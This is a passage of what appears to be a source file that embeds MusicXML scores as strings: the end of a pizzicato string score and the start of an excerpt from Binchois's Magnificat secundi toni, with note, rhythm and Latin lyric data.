<duration>16</duration>
<voice>1</voice>
<type>half</type>
<stem>down</stem>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="9">
<note>
<rest/>
<duration>24</duration>
<voice>1</voice>
</note>
</measure>
<measure number="10">
<note>
<rest/>
<duration>24</duration>
<voice>1</voice>
</note>
</measure>
<measure number="11">
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>24</duration>
<tie type="start"/>
<voice>1</voice>
<type>half</type>
<dot/>
<stem>up</stem>
<notations>
<tied type="start"/>
</notations>
</note>
</measure>
<measure number="12">
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<notations>
<tied type="stop"/>
</notations>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<barline location="right">
<bar-style>light-heavy</bar-style>
<repeat direction="backward"/>
</barline>
</measure>
<measure number="X1" implicit="yes">
<barline location="left">
<bar-style>heavy-light</bar-style>
<repeat direction="forward"/>
</barline>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="13">
<direction placement="above">
<direction-type>
<words>pizz.</words>
</direction-type>
<sound pizzicato="yes">
<midi-instrument id="P4-I5">
<midi-program>46</midi-program>
</midi-instrument>
</sound>
</direction>
<direction placement="below">
<direction-type>
<dynamics>
<p/>
</dynamics>
</direction-type>
<sound dynamics="54"/>
</direction>
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<chord/>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<chord/>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="14">
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<chord/>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<chord/>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="15">
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
</measure>
<measure number="16">
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
</part>
<part id="P5">
<measure number="0" implicit="yes">
<attributes>
<divisions>8</divisions>
<key>
<fifths>3</fifths>
<mode>major</mode>
</key>
<time>
<beats>3</beats>
<beat-type>4</beat-type>
</time>
<clef>
<sign>F</sign>
<line>4</line>
</clef>
</attributes>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="1">
<direction placement="below">
<direction-type>
<dynamics relative-y="8">
<p/>
</dynamics>
</direction-type>
<sound dynamics="54"/>
</direction>
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="2">
<note>
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="3">
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="4">
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="5">
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="6">
<note>
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="7">
<note>
<rest/>
<duration>24</duration>
<voice>1</voice>
</note>
</measure>
<measure number="8">
<print new-system="yes"/>
<note>
<rest/>
<duration>24</duration>
<voice>1</voice>
</note>
</measure>
<measure number="9">
<note>
<rest/>
<duration>24</duration>
<voice>1</voice>
</note>
</measure>
<measure number="10">
<note>
<rest/>
<duration>24</duration>
<voice>1</voice>
</note>
</measure>
<measure number="11">
<note>
<pitch>
<step>E</step>
<octave>2</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<notations>
<slur type="start" number="1"/>
<articulations>
<staccato placement="below"/>
</articulations>
</notations>
</note>
<note>
<pitch>
<step>E</step>
<octave>2</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<notations>
<articulations>
<staccato placement="below"/>
</articulations>
</notations>
</note>
<note>
<pitch>
<step>E</step>
<octave>2</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
<notations>
<slur type="stop" number="1"/>
<articulations>
<staccato placement="below"/>
</articulations>
</notations>
</note>
</measure>
<measure number="12">
<note>
<pitch>
<step>A</step>
<octave>2</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<barline location="right">
<bar-style>light-heavy</bar-style>
<repeat direction="backward"/>
</barline>
</measure>
<measure number="X1" implicit="yes">
<barline location="left">
<bar-style>heavy-light</bar-style>
<repeat direction="forward"/>
</barline>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="13">
<direction placement="below">
<direction-type>
<dynamics>
<p/>
</dynamics>
</direction-type>
<sound dynamics="54"/>
</direction>
<direction placement="above">
<direction-type>
<words>pizz.</words>
</direction-type>
<sound pizzicato="yes">
<midi-instrument id="P5-I6">
<midi-program>46</midi-program>
</midi-instrument>
</sound>
</direction>
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="14">
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="15">
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
</measure>
<measure number="16">
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>E</step>
<octave>2</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
</part>
</score-partwise>
"""
binchoisMagnificat = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE score-partwise
PUBLIC '-//Recordare//DTD MusicXML 2.0 Partwise//EN'
'http://www.musicxml.org/dtds/partwise.dtd'>
<score-partwise>
<movement-title>Excerpt from Magnificat secundi toni</movement-title>
<identification>
<creator type="composer">Gilles Binchois</creator>
<rights>Copyright 2003 Recordare LLC</rights>
<encoding>
<encoding-date>2003-12-02</encoding-date>
<software>Finale 2003 for Windows</software>
<software>Dolet for Finale 1.3</software>
</encoding>
</identification>
<part-list>
<score-part id="P1">
<part-name>Cantus</part-name>
<score-instrument id="P1-I5">
<instrument-name>Cantus</instrument-name>
</score-instrument>
</score-part>
<score-part id="P2">
<part-name>Cantus 2 and Tenor</part-name>
<score-instrument id="P2-I4">
<instrument-name>Cantus 2</instrument-name>
</score-instrument>
<score-instrument id="P2-I3">
<instrument-name>Tenor</instrument-name>
</score-instrument>
</score-part>
</part-list>
<part id="P1">
<measure number="1">
<attributes>
<divisions>8</divisions>
<key>
<fifths>-1</fifths>
</key>
<clef>
<sign>F</sign>
<line>4</line>
</clef>
</attributes>
<note>
<pitch>
<step>C</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>none</stem>
<lyric number="1">
<syllabic>begin</syllabic>
<text>Ma</text>
</lyric>
</note>
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>none</stem>
<lyric number="1">
<syllabic>middle</syllabic>
<text>gni</text>
</lyric>
</note>
<note>
<pitch>
<step>C</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>none</stem>
<notations>
<slur number="1" type="start"/>
</notations>
<lyric number="1">
<syllabic>middle</syllabic>
<text>fi</text>
</lyric>
</note>
<note>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>none</stem>
<notations>
<slur number="1" type="stop"/>
</notations>
</note>
<note>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>none</stem>
<lyric number="1">
<syllabic>end</syllabic>
<text>cat</text>
</lyric>
</note>
</measure>
<measure number="2">
<attributes>
<key>
<fifths>-1</fifths>
</key>
<time>
<beats>3</beats>
<beat-type>4</beat-type>
</time>
<clef>
<sign>F</sign>
<line>4</line>
</clef>
</attributes>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<lyric number="1">
<syllabic>begin</syllabic>
<text>A</text>
</lyric>
</note>
</measure>
<measure number="3">
<note>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<lyric number="1">
<syllabic>middle</syllabic>
<text>ni</text>
</lyric>
</note>
<note>
<pitch>
<step>G</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<lyric number="1">
<syllabic>end</syllabic>
<text>ma</text>
</lyric>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>eighth</type>
<dot/>
<stem>down</stem>
<beam number="1">begin</beam>
<lyric number="1">
<syllabic>begin</syllabic>
<text>me</text>
</lyric>
</note>
<note>
<pitch>
<step>C</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem>down</stem>
<beam number="1">end</beam>
<beam number="2">backward hook</beam>
</note>
</measure>
<measure number="4">
<note>
<pitch>
<step>C</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<lyric number="1">
<syllabic>end</syllabic>
<text>a</text>
</lyric>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
<lyric number="1">
<syllabic>begin</syllabic>
<text>do</text>
</lyric>
</note>
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<tie type="start"/>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
<notations>
<tied type="start"/>
</notations>
</note>
</measure>
<measure number="5">
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<tie type="stop"/>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
<notations>
<tied type="stop"/>
</notations>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>C</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>G</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
</measure>
<measure number="6">
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<rest/>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
</note>
<note>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>eighth</type>
<dot/>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem>down</stem>
<beam number="1">end</beam>
<beam number="2">backward hook</beam>
</note>
</measure>
<measure number="7">
<note>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<tie type="start"/>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
<notations>
<tied type="start"/>
</notations>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<tie type="stop"/>
<voice>1</voice>
<type>16th</type>
<stem>down</stem>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<tied type="stop"/>
</notations>
</note>
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem>down</stem>
<beam number="1">continue</beam>
<beam number="2">end</beam>
</note>
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
<lyric number="1">
<syllabic>middle</syllabic>
<text>mi</text>
</lyric>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<accidental>sharp</accidental>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<accidental>natural</accidental>
<stem>down</stem>
<beam number="1">continue</beam>
<beam number="2">begin</beam>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem>down</stem>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
</measure>
<measure number="8">
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>24</duration>
<voice>1</voice>
<type>half</type>
<dot/>
<stem>down</stem>
<lyric number="1">
<syllabic>end</syllabic>
<text>num.</text>
</lyric>
</note>
<barline location="right">
<bar-style>light-light</bar-style>
</barline>
</measure>
<measure number="9">
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<lyric number="1">
<syllabic>single</syllabic>
<text>Et</text>
</lyric>
</note>
<note>
<pitch>
<step>C</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
</measure>
<measure number="10">
<note>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<lyric number="1">
<syllabic>begin</syllabic>
<text>ex</text>
</lyric>
</note>
<note>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<lyric number="1">
<syllabic>middle</syllabic>
<text>ul</text>
</lyric>
</note>
<note>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<lyric number="1">
<syllabic>middle</syllabic>
<text>ta</text>
</lyric>
</note>
</measure>
<measure number="11">
<note>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<lyric number="1">
<syllabic>end</syllabic>
<text>vit</text>
</lyric>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<notations>
<fermata type="upright"/>
</notations>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="12">
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>12</duration>
<voice>1</voice>
<type>quarter</type>
<dot/>
<stem>down</stem>
<lyric number="1">
<syllabic>begin</syllabic>
<text>spi</text>
</lyric>
</note>
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
<lyric number="1">
<syllabic>middle</syllabic>
<text>ri</text>
</lyric>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
</measure>
<measure number="13">
<note>
<pitch>
<step>C</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>B</step>
<alter>-1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem>down</stem>
<beam number="1">continue</beam>
<beam number="2">begin</beam>
</note>
<note>
<pitch>
<step>C</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem>down</stem>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>12</duration>
<voice>1</voice>
<type>quarter</type>
<dot/>
<stem>down</stem>
<lyric number="1">
<syllabic>end</syllabic>
<text>tus</text>
</lyric>
</note>
<note>
<pitch>
<step>C</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
</note>
</measure>
<measure number="14">
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<lyric number="1">
<syllabic>begin</syllabic>
<text>me</text>
</lyric>
</note>
<note>
<pitch>
<step>B</step>
<alter>-1</alter>
<octave>3</octave>
</pitch>
<duration>12</duration>
<voice>1</voice>
<type>quarter</type>
<dot/>
<stem>down</stem>
</note>
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
</note>
</measure>
<measure number="15">
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>12</duration>
<voice>1</voice>
<type>quarter</type>
<dot/>
<stem>down</stem>
</note>
<note>
<pitch>
<step>G</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>G</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
</measure>
<measure number="16">
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>16</duration>
<voice>1</voice>
<type>half</type>
<stem>down</stem>
<notations>
<fermata type="upright"/>
</notations>
<lyric number="1">
<syllabic>end</syllabic>
<text>us</text>
</lyric>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="17">
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<lyric number="1">
<syllabic>single</syllabic>
<text>in</text>
</lyric>
</note>
<note>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>12</duration>
<voice>1</voice>
<type>quarter</type>
<dot/>
<stem>down</stem>
</note>
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
</note>
</measure>
</part>
<part id="P2">
<measure number="1">
<attributes>
<divisions>8</divisions>
<key>
<fifths>-1</fifths>
</key>
<clef>
<sign>F</sign>
<line>4</line>
</clef>
</attributes>
<note>
<rest/>
<duration>40</duration>
<voice>1</voice>
</note>
</measure>
<measure number="2">
<attributes>
<key>
<fifths>-1</fifths>
</key>
<time>
<beats>3</beats>
<beat-type>4</beat-type>
</time>
<clef>
<sign>F</sign>
<line>4</line>
</clef>
</attributes>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<lyric number="1">
<syllabic>begin</syllabic>
<text>A</text>
</lyric>
</note>
<backup>
<duration>24</duration>
</backup>
<note>
<rest/>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem>down</stem>
</note>
</measure>
<measure number="3">
<note>
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">begin</beam>
<lyric number="1">
<syllabic>middle</syllabic>
<text>ni</text>
</lyric>
</note>
<note>
<pitch>
<step>C</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<lyric number="1">
<syllabic>end</syllabic>
<text>ma</text>
</lyric>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
<lyric number="1">
<syllabic>begin</syllabic>
<text>me</text>
</lyric>
</note>
<note>
<pitch>
<step>G</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">end</beam>
</note>
<backup>
<duration>24</duration>
</backup>
<note>
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>C</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>G</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>2</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
</measure>
<measure number="4">
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<lyric number="1">
<syllabic>end</syllabic>
<text>a</text>
</lyric>
</note>
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<lyric number="1">
